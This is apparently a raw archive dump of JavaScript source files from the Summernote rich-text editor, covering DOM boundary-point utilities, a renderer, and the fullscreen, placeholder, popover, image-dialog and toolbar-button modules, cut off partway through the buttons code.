 */
function position(node) {
  let offset = 0;
  while ((node = node.previousSibling)) {
    offset += 1;
  }
  return offset;
}

function hasChildren(node) {
  return !!(node && node.childNodes && node.childNodes.length);
}

/**
 * returns previous boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function prevPoint(point, isSkipInnerOffset) {
  let node;
  let offset;

  if (point.offset === 0) {
    if (isEditable(point.node)) {
      return null;
    }

    node = point.node.parentNode;
    offset = position(point.node);
  } else if (hasChildren(point.node)) {
    node = point.node.childNodes[point.offset - 1];
    offset = nodeLength(node);
  } else {
    node = point.node;
    offset = isSkipInnerOffset ? 0 : point.offset - 1;
  }

  return {
    node: node,
    offset: offset
  };
}

/**
 * returns next boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function nextPoint(point, isSkipInnerOffset) {
  let node, offset;

  if (nodeLength(point.node) === point.offset) {
    if (isEditable(point.node)) {
      return null;
    }

    node = point.node.parentNode;
    offset = position(point.node) + 1;
  } else if (hasChildren(point.node)) {
    node = point.node.childNodes[point.offset];
    offset = 0;
  } else {
    node = point.node;
    offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;
  }

  return {
    node: node,
    offset: offset
  };
}

/**
 * returns whether pointA and pointB is same or not.
 *
 * @param {BoundaryPoint} pointA
 * @param {BoundaryPoint} pointB
 * @return {Boolean}
 */
function isSamePoint(pointA, pointB) {
  return pointA.node === pointB.node && pointA.offset === pointB.offset;
}

/**
 * returns whether point is visible (can set cursor) or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isVisiblePoint(point) {
  if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {
    return true;
  }

  const leftNode = point.node.childNodes[point.offset - 1];
  const rightNode = point.node.childNodes[point.offset];
  if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {
    return true;
  }

  return false;
}

/**
 * @method prevPointUtil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function prevPointUntil(point, pred) {
  while (point) {
    if (pred(point)) {
      return point;
    }

    point = prevPoint(point);
  }

  return null;
}

/**
 * @method nextPointUntil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function nextPointUntil(point, pred) {
  while (point) {
    if (pred(point)) {
      return point;
    }

    point = nextPoint(point);
  }

  return null;
}

/**
 * returns whether point has character or not.
 *
 * @param {Point} point
 * @return {Boolean}
 */
function isCharPoint(point) {
  if (!isText(point.node)) {
    return false;
  }

  const ch = point.node.nodeValue.charAt(point.offset - 1);
  return ch && (ch !== ' ' && ch !== NBSP_CHAR);
}

/**
 * @method walkPoint
 *
 * @param {BoundaryPoint} startPoint
 * @param {BoundaryPoint} endPoint
 * @param {Function} handler
 * @param {Boolean} isSkipInnerOffset
 */
function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {
  let point = startPoint;

  while (point) {
    handler(point);

    if (isSamePoint(point, endPoint)) {
      break;
    }

    const isSkipOffset = isSkipInnerOffset &&
                       startPoint.node !== point.node &&
                       endPoint.node !== point.node;
    point = nextPoint(point, isSkipOffset);
  }
}

/**
 * @method makeOffsetPath
 *
 * return offsetPath(array of offset) from ancestor
 *
 * @param {Node} ancestor - ancestor node
 * @param {Node} node
 */
function makeOffsetPath(ancestor, node) {
  const ancestors = listAncestor(node, func.eq(ancestor));
  return ancestors.map(position).reverse();
}

/**
 * @method fromOffsetPath
 *
 * return element from offsetPath(array of offset)
 *
 * @param {Node} ancestor - ancestor node
 * @param {array} offsets - offsetPath
 */
function fromOffsetPath(ancestor, offsets) {
  let current = ancestor;
  for (let i = 0, len = offsets.length; i < len; i++) {
    if (current.childNodes.length <= offsets[i]) {
      current = current.childNodes[current.childNodes.length - 1];
    } else {
      current = current.childNodes[offsets[i]];
    }
  }
  return current;
}

/**
 * @method splitNode
 *
 * split element or #text
 *
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitNode(point, options) {
  const isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;
  const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;

  // edge case
  if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {
    if (isLeftEdgePoint(point)) {
      return point.node;
    } else if (isRightEdgePoint(point)) {
      return point.node.nextSibling;
    }
  }

  // split #text
  if (isText(point.node)) {
    return point.node.splitText(point.offset);
  } else {
    const childNode = point.node.childNodes[point.offset];
    const clone = insertAfter(point.node.cloneNode(false), point.node);
    appendChildNodes(clone, listNext(childNode));

    if (!isSkipPaddingBlankHTML) {
      paddingBlankHTML(point.node);
      paddingBlankHTML(clone);
    }

    return clone;
  }
}

/**
 * @method splitTree
 *
 * split tree by point
 *
 * @param {Node} root - split root
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitTree(root, point, options) {
  // ex) [#text, <span>, <p>]
  const ancestors = listAncestor(point.node, func.eq(root));

  if (!ancestors.length) {
    return null;
  } else if (ancestors.length === 1) {
    return splitNode(point, options);
  }

  return ancestors.reduce(function(node, parent) {
    if (node === point.node) {
      node = splitNode(point, options);
    }

    return splitNode({
      node: parent,
      offset: node ? position(node) : nodeLength(parent)
    }, options);
  });
}

/**
 * split point
 *
 * @param {Point} point
 * @param {Boolean} isInline
 * @return {Object}
 */
function splitPoint(point, isInline) {
  // find splitRoot, container
  //  - inline: splitRoot is a child of paragraph
  //  - block: splitRoot is a child of bodyContainer
  const pred = isInline ? isPara : isBodyContainer;
  const ancestors = listAncestor(point.node, pred);
  const topAncestor = lists.last(ancestors) || point.node;

  let splitRoot, container;
  if (pred(topAncestor)) {
    splitRoot = ancestors[ancestors.length - 2];
    container = topAncestor;
  } else {
    splitRoot = topAncestor;
    container = splitRoot.parentNode;
  }

  // if splitRoot is exists, split with splitTree
  let pivot = splitRoot && splitTree(splitRoot, point, {
    isSkipPaddingBlankHTML: isInline,
    isNotSplitEdgePoint: isInline
  });

  // if container is point.node, find pivot with point.offset
  if (!pivot && container === point.node) {
    pivot = point.node.childNodes[point.offset];
  }

  return {
    rightNode: pivot,
    container: container
  };
}

function create(nodeName) {
  return document.createElement(nodeName);
}

function createText(text) {
  return document.createTextNode(text);
}

/**
 * @method remove
 *
 * remove node, (isRemoveChild: remove child or not)
 *
 * @param {Node} node
 * @param {Boolean} isRemoveChild
 */
function remove(node, isRemoveChild) {
  if (!node || !node.parentNode) { return; }
  if (node.removeNode) { return node.removeNode(isRemoveChild); }

  const parent = node.parentNode;
  if (!isRemoveChild) {
    const nodes = [];
    for (let i = 0, len = node.childNodes.length; i < len; i++) {
      nodes.push(node.childNodes[i]);
    }

    for (let i = 0, len = nodes.length; i < len; i++) {
      parent.insertBefore(nodes[i], node);
    }
  }

  parent.removeChild(node);
}

/**
 * @method removeWhile
 *
 * @param {Node} node
 * @param {Function} pred
 */
function removeWhile(node, pred) {
  while (node) {
    if (isEditable(node) || !pred(node)) {
      break;
    }

    const parent = node.parentNode;
    remove(node);
    node = parent;
  }
}

/**
 * @method replace
 *
 * replace node with provided nodeName
 *
 * @param {Node} node
 * @param {String} nodeName
 * @return {Node} - new node
 */
function replace(node, nodeName) {
  if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {
    return node;
  }

  const newNode = create(nodeName);

  if (node.style.cssText) {
    newNode.style.cssText = node.style.cssText;
  }

  appendChildNodes(newNode, lists.from(node.childNodes));
  insertAfter(newNode, node);
  remove(node);

  return newNode;
}

const isTextarea = makePredByNodeName('TEXTAREA');

/**
 * @param {jQuery} $node
 * @param {Boolean} [stripLinebreaks] - default: false
 */
function value($node, stripLinebreaks) {
  const val = isTextarea($node[0]) ? $node.val() : $node.html();
  if (stripLinebreaks) {
    return val.replace(/[\n\r]/g, '');
  }
  return val;
}

/**
 * @method html
 *
 * get the HTML contents of node
 *
 * @param {jQuery} $node
 * @param {Boolean} [isNewlineOnBlock]
 */
function html($node, isNewlineOnBlock) {
  let markup = value($node);

  if (isNewlineOnBlock) {
    const regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g;
    markup = markup.replace(regexTag, function(match, endSlash, name) {
      name = name.toUpperCase();
      const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&
                                   !!endSlash;
      const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);

      return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : '');
    });
    markup = $.trim(markup);
  }

  return markup;
}

function posFromPlaceholder(placeholder) {
  const $placeholder = $(placeholder);
  const pos = $placeholder.offset();
  const height = $placeholder.outerHeight(true); // include margin

  return {
    left: pos.left,
    top: pos.top + height
  };
}

function attachEvents($node, events) {
  Object.keys(events).forEach(function(key) {
    $node.on(key, events[key]);
  });
}

function detachEvents($node, events) {
  Object.keys(events).forEach(function(key) {
    $node.off(key, events[key]);
  });
}

/**
 * @method isCustomStyleTag
 *
 * assert if a node contains a "note-styletag" class,
 * which implies that's a custom-made style tag node
 *
 * @param {Node} an HTML DOM node
 */
function isCustomStyleTag(node) {
  return node && !isText(node) && lists.contains(node.classList, 'note-styletag');
}

export default {
  /** @property {String} NBSP_CHAR */
  NBSP_CHAR,
  /** @property {String} ZERO_WIDTH_NBSP_CHAR */
  ZERO_WIDTH_NBSP_CHAR,
  /** @property {String} blank */
  blank: blankHTML,
  /** @property {String} emptyPara */
  emptyPara: `<p>${blankHTML}</p>`,
  makePredByNodeName,
  isEditable,
  isControlSizing,
  isText,
  isElement,
  isVoid,
  isPara,
  isPurePara,
  isHeading,
  isInline,
  isBlock: func.not(isInline),
  isBodyInline,
  isBody,
  isParaInline,
  isPre,
  isList,
  isTable,
  isData,
  isCell,
  isBlockquote,
  isBodyContainer,
  isAnchor,
  isDiv: makePredByNodeName('DIV'),
  isLi,
  isBR: makePredByNodeName('BR'),
  isSpan: makePredByNodeName('SPAN'),
  isB: makePredByNodeName('B'),
  isU: makePredByNodeName('U'),
  isS: makePredByNodeName('S'),
  isI: makePredByNodeName('I'),
  isImg: makePredByNodeName('IMG'),
  isTextarea,
  isEmpty,
  isEmptyAnchor: func.and(isAnchor, isEmpty),
  isClosestSibling,
  withClosestSiblings,
  nodeLength,
  isLeftEdgePoint,
  isRightEdgePoint,
  isEdgePoint,
  isLeftEdgeOf,
  isRightEdgeOf,
  isLeftEdgePointOf,
  isRightEdgePointOf,
  prevPoint,
  nextPoint,
  isSamePoint,
  isVisiblePoint,
  prevPointUntil,
  nextPointUntil,
  isCharPoint,
  walkPoint,
  ancestor,
  singleChildAncestor,
  listAncestor,
  lastAncestor,
  listNext,
  listPrev,
  listDescendant,
  commonAncestor,
  wrap,
  insertAfter,
  appendChildNodes,
  position,
  hasChildren,
  makeOffsetPath,
  fromOffsetPath,
  splitTree,
  splitPoint,
  create,
  createText,
  remove,
  removeWhile,
  replace,
  html,
  value,
  posFromPlaceholder,
  attachEvents,
  detachEvents,
  isCustomStyleTag
};
PK�{�\����QQjs/base/renderer.jsnu�[���import $ from 'jquery';

class Renderer {
  constructor(markup, children, options, callback) {
    this.markup = markup;
    this.children = children;
    this.options = options;
    this.callback = callback;
  }

  render($parent) {
    const $node = $(this.markup);

    if (this.options && this.options.contents) {
      $node.html(this.options.contents);
    }

    if (this.options && this.options.className) {
      $node.addClass(this.options.className);
    }

    if (this.options && this.options.data) {
      $.each(this.options.data, (k, v) => {
        $node.attr('data-' + k, v);
      });
    }

    if (this.options && this.options.click) {
      $node.on('click', this.options.click);
    }

    if (this.children) {
      const $container = $node.find('.note-children-container');
      this.children.forEach((child) => {
        child.render($container.length ? $container : $node);
      });
    }

    if (this.callback) {
      this.callback($node, this.options);
    }

    if (this.options && this.options.callback) {
      this.options.callback($node);
    }

    if ($parent) {
      $parent.append($node);
    }

    return $node;
  }
}

export default {
  create: (markup, callback) => {
    return () => {
      const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];
      let children = $.isArray(arguments[0]) ? arguments[0] : [];
      if (options && options.children) {
        children = options.children;
      }
      return new Renderer(markup, children, options, callback);
    };
  }
};
PK�{�\-�a��js/base/module/Fullscreen.jsnu�[���import $ from 'jquery';

export default class Fullscreen {
  constructor(context) {
    this.context = context;

    this.$editor = context.layoutInfo.editor;
    this.$toolbar = context.layoutInfo.toolbar;
    this.$editable = context.layoutInfo.editable;
    this.$codable = context.layoutInfo.codable;

    this.$window = $(window);
    this.$scrollbar = $('html, body');

    this.onResize = () => {
      this.resizeTo({
        h: this.$window.height() - this.$toolbar.outerHeight()
      });
    };
  }

  resizeTo(size) {
    this.$editable.css('height', size.h);
    this.$codable.css('height', size.h);
    if (this.$codable.data('cmeditor')) {
      this.$codable.data('cmeditor').setsize(null, size.h);
    }
  }

  /**
   * toggle fullscreen
   */
  toggle() {
    this.$editor.toggleClass('fullscreen');
    if (this.isFullscreen()) {
      this.$editable.data('orgHeight', this.$editable.css('height'));
      this.$window.on('resize', this.onResize).trigger('resize');
      this.$scrollbar.css('overflow', 'hidden');
    } else {
      this.$window.off('resize', this.onResize);
      this.resizeTo({ h: this.$editable.data('orgHeight') });
      this.$scrollbar.css('overflow', 'visible');
    }

    this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());
  }

  isFullscreen() {
    return this.$editor.hasClass('fullscreen');
  }
}
PK�{�\�b����js/base/module/Placeholder.jsnu�[���import $ from 'jquery';
export default class Placeholder {
  constructor(context) {
    this.context = context;

    this.$editingArea = context.layoutInfo.editingArea;
    this.options = context.options;
    this.events = {
      'summernote.init summernote.change': () => {
        this.update();
      },
      'summernote.codeview.toggled': () => {
        this.update();
      }
    };
  }

  shouldInitialize() {
    return !!this.options.placeholder;
  }

  initialize() {
    this.$placeholder = $('<div class="note-placeholder">');
    this.$placeholder.on('click', () => {
      this.context.invoke('focus');
    }).text(this.options.placeholder).prependTo(this.$editingArea);

    this.update();
  }

  destroy() {
    this.$placeholder.remove();
  }

  update() {
    const isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');
    this.$placeholder.toggle(isShow);
  }
}
PK�{�\�G.�bbjs/base/module/TablePopover.jsnu�[���import $ from 'jquery';
import env from '../core/env';
import lists from '../core/lists';
import dom from '../core/dom';

export default class TablePopover {
  constructor(context) {
    this.context = context;

    this.ui = $.summernote.ui;
    this.options = context.options;
    this.events = {
      'summernote.mousedown': (we, e) => {
        this.update(e.target);
      },
      'summernote.keyup summernote.scroll summernote.change': () => {
        this.update();
      },
      'summernote.disable': () => {
        this.hide();
      }
    };
  }

  shouldInitialize() {
    return !lists.isEmpty(this.options.popover.table);
  }

  initialize() {
    this.$popover = this.ui.popover({
      className: 'note-table-popover'
    }).render().appendTo(this.options.container);
    const $content = this.$popover.find('.popover-content,.note-popover-content');

    this.context.invoke('buttons.build', $content, this.options.popover.table);

    // [workaround] Disable Firefox's default table editor
    if (env.isFF) {
      document.execCommand('enableInlineTableEditing', false, false);
    }
  }

  destroy() {
    this.$popover.remove();
  }

  update(target) {
    if (this.context.isDisabled()) {
      return false;
    }

    const isCell = dom.isCell(target);

    if (isCell) {
      const pos = dom.posFromPlaceholder(target);
      this.$popover.css({
        display: 'block',
        left: pos.left,
        top: pos.top
      });
    } else {
      this.hide();
    }

    return isCell;
  }

  hide() {
    this.$popover.hide();
  }
}
PK�{�\�;��js/base/module/ImageDialog.jsnu�[���import $ from 'jquery';
import env from '../core/env';
import key from '../core/key';

export default class ImageDialog {
  constructor(context) {
    this.context = context;
    this.ui = $.summernote.ui;
    this.$body = $(document.body);
    this.$editor = context.layoutInfo.editor;
    this.options = context.options;
    this.lang = this.options.langInfo;
  }

  initialize() {
    const $container = this.options.dialogsInBody ? this.$body : this.$editor;

    let imageLimitation = '';
    if (this.options.maximumImageFileSize) {
      const unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));
      const readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +
                         ' ' + ' KMGTP'[unit] + 'B';
      imageLimitation = `<small>${this.lang.image.maximumFileSize + ' : ' + readableSize}</small>`;
    }

    const body = [
      '<div class="form-group note-form-group note-group-select-from-files">',
      '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>',
      '<input class="note-image-input note-form-control note-input" ',
      ' type="file" name="files" accept="image/*" multiple="multiple" />',
      imageLimitation,
      '</div>',
      '<div class="form-group note-group-image-url" style="overflow:auto;">',
      '<label class="note-form-label">' + this.lang.image.url + '</label>',
      '<input class="note-image-url form-control note-form-control note-input ',
      ' col-md-12" type="text" />',
      '</div>'
    ].join('');
    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';
    const footer = `<button type="submit" href="#" class="${buttonClass}" disabled>${this.lang.image.insert}</button>`;

    this.$dialog = this.ui.dialog({
      title: this.lang.image.insert,
      fade: this.options.dialogsFade,
      body: body,
      footer: footer
    }).render().appendTo($container);
  }

  destroy() {
    this.ui.hideDialog(this.$dialog);
    this.$dialog.remove();
  }

  bindEnterKey($input, $btn) {
    $input.on('keypress', (event) => {
      if (event.keyCode === key.code.ENTER) {
        event.preventDefault();
        $btn.trigger('click');
      }
    });
  }

  show() {
    this.context.invoke('editor.saveRange');
    this.showImageDialog().then((data) => {
      // [workaround] hide dialog before restore range for IE range focus
      this.ui.hideDialog(this.$dialog);
      this.context.invoke('editor.restoreRange');

      if (typeof data === 'string') { // image url
        this.context.invoke('editor.insertImage', data);
      } else { // array of files
        this.context.invoke('editor.insertImagesOrCallback', data);
      }
    }).fail(() => {
      this.context.invoke('editor.restoreRange');
    });
  }

  /**
   * show image dialog
   *
   * @param {jQuery} $dialog
   * @return {Promise}
   */
  showImageDialog() {
    return $.Deferred((deferred) => {
      const $imageInput = this.$dialog.find('.note-image-input');
      const $imageUrl = this.$dialog.find('.note-image-url');
      const $imageBtn = this.$dialog.find('.note-image-btn');

      this.ui.onDialogShown(this.$dialog, () => {
        this.context.triggerEvent('dialog.shown');

        // Cloning imageInput to clear element.
        $imageInput.replaceWith($imageInput.clone().on('change', (event) => {
          deferred.resolve(event.target.files || event.target.value);
        }).val(''));

        $imageBtn.click((event) => {
          event.preventDefault();

          deferred.resolve($imageUrl.val());
        });

        $imageUrl.on('keyup paste', () => {
          const url = $imageUrl.val();
          this.ui.toggleBtn($imageBtn, url);
        }).val('');

        if (!env.isSupportTouch) {
          $imageUrl.trigger('focus');
        }
        this.bindEnterKey($imageUrl, $imageBtn);
      });

      this.ui.onDialogHidden(this.$dialog, () => {
        $imageInput.off('change');
        $imageUrl.off('keyup paste keypress');
        $imageBtn.off('click');

        if (deferred.state() === 'pending') {
          deferred.reject();
        }
      });

      this.ui.showDialog(this.$dialog);
    });
  }
}
PK�{�\9)^~��js/base/module/ImagePopover.jsnu�[���import $ from 'jquery';
import lists from '../core/lists';
import dom from '../core/dom';

/**
 * Image popover module
 *  mouse events that show/hide popover will be handled by Handle.js.
 *  Handle.js will receive the events and invoke 'imagePopover.update'.
 */
export default class ImagePopover {
  constructor(context) {
    this.context = context;
    this.ui = $.summernote.ui;

    this.editable = context.layoutInfo.editable[0];
    this.options = context.options;

    this.events = {
      'summernote.disable': () => {
        this.hide();
      }
    };
  }

  shouldInitialize() {
    return !lists.isEmpty(this.options.popover.image);
  }

  initialize() {
    this.$popover = this.ui.popover({
      className: 'note-image-popover'
    }).render().appendTo(this.options.container);
    const $content = this.$popover.find('.popover-content,.note-popover-content');
    this.context.invoke('buttons.build', $content, this.options.popover.image);
  }

  destroy() {
    this.$popover.remove();
  }

  update(target) {
    if (dom.isImg(target)) {
      const pos = dom.posFromPlaceholder(target);
      const posEditor = dom.posFromPlaceholder(this.editable);
      this.$popover.css({
        display: 'block',
        left: this.options.popatmouse ? event.pageX - 20 : pos.left,
        top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)
      });
    } else {
      this.hide();
    }
  }

  hide() {
    this.$popover.hide();
  }
}
PK�{�\W���OOjs/base/module/LinkPopover.jsnu�[���import $ from 'jquery';
import lists from '../core/lists';
import dom from '../core/dom';

export default class LinkPopover {
  constructor(context) {
    this.context = context;

    this.ui = $.summernote.ui;
    this.options = context.options;
    this.events = {
      'summernote.keyup summernote.mouseup summernote.change summernote.scroll': () => {
        this.update();
      },
      'summernote.disable summernote.dialog.shown': () => {
        this.hide();
      }
    };
  }

  shouldInitialize() {
    return !lists.isEmpty(this.options.popover.link);
  }

  initialize() {
    this.$popover = this.ui.popover({
      className: 'note-link-popover',
      callback: ($node) => {
        const $content = $node.find('.popover-content,.note-popover-content');
        $content.prepend('<span><a target="_blank"></a>&nbsp;</span>');
      }
    }).render().appendTo(this.options.container);
    const $content = this.$popover.find('.popover-content,.note-popover-content');

    this.context.invoke('buttons.build', $content, this.options.popover.link);
  }

  destroy() {
    this.$popover.remove();
  }

  update() {
    // Prevent focusing on editable when invoke('code') is executed
    if (!this.context.invoke('editor.hasFocus')) {
      this.hide();
      return;
    }

    const rng = this.context.invoke('editor.createRange');
    if (rng.isCollapsed() && rng.isOnAnchor()) {
      const anchor = dom.ancestor(rng.sc, dom.isAnchor);
      const href = $(anchor).attr('href');
      this.$popover.find('a').attr('href', href).html(href);

      const pos = dom.posFromPlaceholder(anchor);
      this.$popover.css({
        display: 'block',
        left: pos.left,
        top: pos.top
      });
    } else {
      this.hide();
    }
  }

  hide() {
    this.$popover.hide();
  }
}
PK�{�\�T	�`v`vjs/base/module/Buttons.jsnu�[���import $ from 'jquery';
import func from '../core/func';
import lists from '../core/lists';
import env from '../core/env';

export default class Buttons {
  constructor(context) {
    this.ui = $.summernote.ui;
    this.context = context;
    this.$toolbar = context.layoutInfo.toolbar;
    this.options = context.options;
    this.lang = this.options.langInfo;
    this.invertedKeyMap = func.invertObject(
      this.options.keyMap[env.isMac ? 'mac' : 'pc']
    );
  }

  representShortcut(editorMethod) {
    let shortcut = this.invertedKeyMap[editorMethod];
    if (!this.options.shortcuts || !shortcut) {
      return '';
    }

    if (env.isMac) {
      shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');
    }

    shortcut = shortcut.replace('BACKSLASH', '\\')
      .replace('SLASH', '/')
      .replace('LEFTBRACKET', '[')
      .replace('RIGHTBRACKET', ']');

    return ' (' + shortcut + ')';
  }

  button(o) {
    if (!this.options.tooltip && o.tooltip) {
      delete o.tooltip;
    }
    o.container = this.options.container;
    return this.ui.button(o);
  }

  initialize() {
    this.addToolbarButtons();
    this.addImagePopoverButtons();
    this.addLinkPopoverButtons();
    this.addTablePopoverButtons();
    this.fontInstalledMap = {};
  }

  destroy() {
    delete this.fontInstalledMap;
  }

  isFontInstalled(name) {
    if (!this.fontInstalledMap.hasOwnProperty(name)) {
      this.fontInstalledMap[name] = env.isFontInstalled(name) ||
        lists.contains(this.options.fontNamesIgnoreCheck, name);
    }

    return this.fontInstalledMap[name];
  }

  isFontDeservedToAdd(name) {
    const genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];
    name = name.toLowerCase();

    return ((name !== '') && this.isFontInstalled(name) && ($.inArray(name, genericFamilies) === -1));
  }

  addToolbarButtons() {
    this.context.memo('button.style', () => {
      return this.ui.buttonGroup([
        this.button({
          className: 'dropdown-toggle',
          contents: this.ui.dropdownButtonContents(
            this.ui.icon(this.options.icons.magic), this.options
          ),
          tooltip: this.lang.style.style,
          data: {
            toggle: 'dropdown'
          }
        }),
        this.ui.dropdown({
          className: 'dropdown-style',
          items: this.options.styleTags,
          title: this.lang.style.style,
          template: (item) => {
            if (typeof item === 'string') {
              item = { tag: item, title: (this.lang.style.hasOwnProperty(item) ? this.lang.style[item] : item) };
            }

            const tag = item.tag;
            const title = item.title;
            const style = item.style ? ' style="' + item.style + '" ' : '';
            const className = item.className ? ' class="' + item.className + '"' : '';

            return '<' + tag + style + className + '>' + title + '</' + tag + '>';
          },
          click: this.context.createInvokeHandler('editor.formatBlock')
        })
      ]).render();
    });

    for (let styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {
      const item = this.options.styleTags[styleIdx];

      this.context.memo('button.style.' + item, () => {
        return this.button({
          className: 'note-btn-style-' + item,
          contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>',
          tooltip: this.lang.style[item],
          click: this.context.createInvokeHandler('editor.formatBlock')
        }).render();
      });
    }

    this.context.memo('button.bold', () => {
      return this.button({
        className: 'note-btn-bold',
        contents: this.ui.icon(this.options.icons.bold),
        tooltip: this.lang.font.bold + this.representShortcut('bold'),
        click: this.context.createInvokeHandlerAndUpdateState('editor.bold')
      }).render();
    });

    this.context.memo('button.italic', () => {
      return this.button({
        className: 'note-btn-italic',
        contents: this.ui.icon(this.options.icons.italic),
        tooltip: this.lang.font.italic + this.representShortcut('italic'),
        click: this.context.createInvokeHandlerAndUpdateState('editor.italic')
      }).render();
    });

    this.context.memo('button.underline', () => {
      return this.button({
        className: 'note-btn-underline',
        contents: this.ui.icon(this.options.icons.underline),
        tooltip: this.lang.font.underline + this.representShortcut('underline'),
        click: this.context.createInvokeHandlerAndUpdateState('editor.underline')
      }).render();
    });

    this.context.memo('button.clear', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.eraser),
        tooltip: this.lang.font.clear + this.representShortcut('removeFormat'),
        click: this.context.createInvokeHandler('editor.removeFormat')
      }).render();
    });

    this.context.memo('button.strikethrough', () => {
      return this.button({
        className: 'note-btn-strikethrough',
        contents: this.ui.icon(this.options.icons.strikethrough),
        tooltip: this.lang.font.strikethrough + this.representShortcut('strikethrough'),
        click: this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')
      }).render();
    });

    this.context.memo('button.superscript', () => {
      return this.button({
        className: 'note-btn-superscript',
        contents: this.ui.icon(this.options.icons.superscript),
        tooltip: this.lang.font.superscript,
        click: this.context.createInvokeHandlerAndUpdateState('editor.superscript')
      }).render();
    });

    this.context.memo('button.subscript', () => {
      return this.button({
        className: 'note-btn-subscript',
        contents: this.ui.icon(this.options.icons.subscript),
        tooltip: this.lang.font.subscript,
        click: this.context.createInvokeHandlerAndUpdateState('editor.subscript')
      }).render();
    });

    this.context.memo('button.fontname', () => {
      const styleInfo = this.context.invoke('editor.currentStyle');

      // Add 'default' fonts into the fontnames array if not exist
      $.each(styleInfo['font-family'].split(','), (idx, fontname) => {
        fontname = fontname.trim().replace(/['"]+/g, '');
        if (this.isFontDeservedToAdd(fontname)) {
          if ($.inArray(fontname, this.options.fontNames) === -1) {
            this.options.fontNames.push(fontname);
          }
        }
      });

      return this.ui.buttonGroup([
        this.button({
          className: 'dropdown-toggle',
          contents: this.ui.dropdownButtonContents(
            '<span class="note-current-fontname"/>', this.options
          ),
          tooltip: this.lang.font.name,
          data: {
            toggle: 'dropdown'
          }
        }),
        this.ui.dropdownCheck({
          className: 'dropdown-fontname',
          checkClassName: this.options.icons.menuCheck,
          items: this.options.fontNames.filter(this.isFontInstalled.bind(this)),
          title: this.lang.font.name,
          template: (item) => {
            return '<span style="font-family: \'' + item + '\'">' + item + '</span>';
          },
          click: this.context.createInvokeHandlerAndUpdateState('editor.fontName')
        })
      ]).render();
    });

    this.context.memo('button.fontsize', () => {
      return this.ui.buttonGroup([
        this.button({
          className: 'dropdown-toggle',
          contents: this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', this.options),
          tooltip: this.lang.font.size,
          data: {
            toggle: 'dropdown'
          }
        }),
        this.ui.dropdownCheck({
          className: 'dropdown-fontsize',
          checkClassName: this.options.icons.menuCheck,
          items: this.options.fontSizes,
          title: this.lang.font.size,
          click: this.context.createInvokeHandlerAndUpdateState('editor.fontSize')
        })
      ]).render();
    });

    this.context.memo('button.color', () => {
      return this.ui.buttonGroup({
        className: 'note-color',
        children: [
          this.button({
            className: 'note-current-color-button',
            contents: this.ui.icon(this.options.icons.font + ' note-recent-color'),
            tooltip: this.lang.color.recent,
            click: (e) => {
              const $button = $(e.currentTarget);
              this.context.invoke('editor.color', {
                backColor: $button.attr('data-backColor'),
                foreColor: $button.attr('data-foreColor')
              });
            },
            callback: ($button) => {
              const $recentColor = $button.find('.note-recent-color');
              $recentColor.css('background-color', '#FFFF00');
              $button.attr('data-backColor', '#FFFF00');
            }
          }),
          this.button({
            className: 'dropdown-toggle',
            contents: this.ui.dropdownButtonContents('', this.options),
            tooltip: this.lang.color.more,
            data: {
              toggle: 'dropdown'
            }
          }),
          this.ui.dropdown({
            items: [
              '<div class="note-palette">',
              '  <div class="note-palette-title">' + this.lang.color.background + '</div>',
              '  <div>',
              '    <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',
              this.lang.color.transparent,
              '    </button>',
              '  </div>',
              '  <div class="note-holder" data-event="backColor"/>',
              '</div>',
              '<div class="note-palette">',
              '  <div class="note-palette-title">' + this.lang.color.foreground + '</div>',
              '  <div>',
              '    <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',
              this.lang.color.resetToDefault,
              '    </button>',
              '  </div>',
              '  <div class="note-holder" data-event="foreColor"/>',
              '</div>'
            ].join(''),
            callback: ($dropdown) => {
              $dropdown.find('.note-holder').each((idx, item) => {
                const $holder = $(item);
                $holder.append(this.ui.palette({
                  colors: this.options.colors,
                  colorsName: this.options.colorsName,
